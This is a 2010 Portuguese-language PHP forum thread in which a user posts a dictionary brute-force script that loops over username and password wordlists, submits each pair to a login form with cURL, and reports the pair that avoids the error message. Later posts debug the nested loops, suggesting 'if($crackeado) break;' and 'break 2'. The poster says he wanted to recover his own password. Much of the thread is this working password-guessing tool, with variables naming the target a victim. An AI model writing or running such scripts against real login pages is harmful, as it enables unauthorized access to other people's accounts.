Jump to content


Photo

While Não Para


  • Faça o login para participar
5 replies to this topic

#1 Xapolino

Xapolino

    Novato no fórum

  • Usuários
  • 18 posts
  • Sexo:Não informado

Posted 08/11/2010, 08:58

$dic_usuario = "u.txt";
$dic_senha = "s.txt";
$url_http = "http://servidor/login.php";
$nome_campo_usuario = "LOGIN";
$nome_campo_senha = "PASSWD";
$palavra_erro_autenticacao = "incorreto";
$crackeado = FALSE;
$fhu = fopen ($dic_usuario, "r" );
$fhs = fopen ($dic_senha, "r" );
 
while ( $usuario = fgets ( $fhu, 1024 ) ) {  
       
    while ( $senha = fgets ( $fhs, 1024 ) ) {
    
    $crack_form = curl_init();
    curl_setopt ( $crack_form, CURLOPT_URL, $url_http );
    curl_setopt ( $crack_form, CURLOPT_POST, TRUE );
    curl_setopt ( $crack_form, CURLOPT_POSTFIELDS, $nome_campo_usuario."=".$usuario."&".$nome_campo_senha."=".$senha);
    curl_setopt ( $crack_form, CURLOPT_RETURNTRANSFER, TRUE );
    
       $conteudo_pagina = curl_exec ( $crack_form );
       $resultado = eregi ( $palavra_erro_autenticacao, $conteudo_pagina );
             
         if ( $resultado == 0 ) {
            echo "<br><center>usuario: <b>$usuario</b> e a senha: <b>$senha</b </center>";
            $crackeado = TRUE;
			break;

        }      	
    }
         rewind( $fhs );       
}

if($crackeado == FALSE)
{
    echo "<center>Nao foi possivel encontrar a combinhacao usuario / senha.</center>";
}
	curl_close($crack_form);
	fclose ( $fhu );
        fclose ( $fhs );

quando eu carrego a senha certa misturada entre o inicio e o fim do arquivo p.txt,
ele não para na senha certa, e então passa batido

só me volta a senha quando está na última linha do arquivo, porque motivo não está parando no if do resultado
já que tem um break; ali ?

Edição feita por: Xapolino, 08/11/2010, 09:05.


#2 LeoB

LeoB

    Super Veterano

  • Usuários
  • 1876 posts
  • Sexo:Masculino
  • Interesses:Programação

Posted 08/11/2010, 15:41

Porque o break só para o while mais interno. O outro continua. Você precisa fazer, por exemplo, uma variável $parar e colocar no fim de cada while:

if($parar) break;

---
No seu código, já tem uma variável que pode ser usada com esse propósito. Coloque então:

if($crackeado) break;

Edição feita por: LeoB, 08/11/2010, 15:43.


#3 Xapolino

Xapolino

    Novato no fórum

  • Usuários
  • 18 posts
  • Sexo:Não informado

Posted 08/11/2010, 21:05

agora só tem um while no script, tentei fazer conforme você disse tbm e não deu certo,
até tentei mudar um pouco o paramentro aqui mais ainda continua mesma coisa


$dic_senha = "s.txt";
$url_vitima = "http://servidor/login.php";
$nome_campo_usuario = "LOGIN";
$nome_campo_senha = "PASSWD";
$palavra_erro_autenticacao = "incorreto";
$crackeado = FALSE;
//$fhu = fopen ($dic_usuario, "r" );
$fhs = fopen ($dic_senha, "r" );
$usuario = "jonathan";
       
    while ( $senha = fgets ( $fhs, 1024 ) ) {
    $crack_form = curl_init();
    curl_setopt ( $crack_form, CURLOPT_URL, $url_vitima );
    curl_setopt ( $crack_form, CURLOPT_POST, TRUE );
    curl_setopt ( $crack_form, CURLOPT_POSTFIELDS, $nome_campo_usuario."=".$usuario."&".$nome_campo_senha."=".$senha);
    curl_setopt ( $crack_form, CURLOPT_RETURNTRANSFER, TRUE );
    
       $conteudo_pagina = curl_exec ( $crack_form );
       $resultado = eregi ( $palavra_erro_autenticacao, $conteudo_pagina );
             
 if ( $resultado == 0 ) {
  
   echo "$senha is the password!";
   break;
   }
  }
 
  fclose($fhs);		


era para esse break ai tá parando veio,
estou perdendo muito tempo nisso :\

#4 LeoB

LeoB

    Super Veterano

  • Usuários
  • 1876 posts
  • Sexo:Masculino
  • Interesses:Programação

Posted 09/11/2010, 05:00

Ele vai parar quando $resultado for 0. Você tem certeza de que isso está acontecendo?

#5 Xapolino

Xapolino

    Novato no fórum

  • Usuários
  • 18 posts
  • Sexo:Não informado

Posted 16/11/2010, 02:12

não sei como o curl interpreta, mais em última função com pass
na lista, o resutado volta zero e exibe corretamente, ou seja então
era para estar voltando $resultado = 0 no percurso de testes sim, mais enfim
acabei deixando de lado isso por agora, acabei recuperando a senha pelo suporte

embora esteja esse problema ai no script serviu-me como aprendizado

valeu!

#6 André Manoel

André Manoel

    Doutor

  • Usuários
  • 996 posts
  • Sexo:Masculino
  • Localidade:Brasilia

Posted 18/11/2010, 14:06

OU então poderia até usar assim para sair dos dois whiles:

break 2;

Abração!
Iniciando na Ajuda On line...

Posted Image Meu post lhe ajudou? Reputar/votar é uma das formas de agradecer.




1 user(s) are reading this topic

0 membro(s), 1 visitante(s) e 0 membros anônimo(s)

IPB Skin By Virteq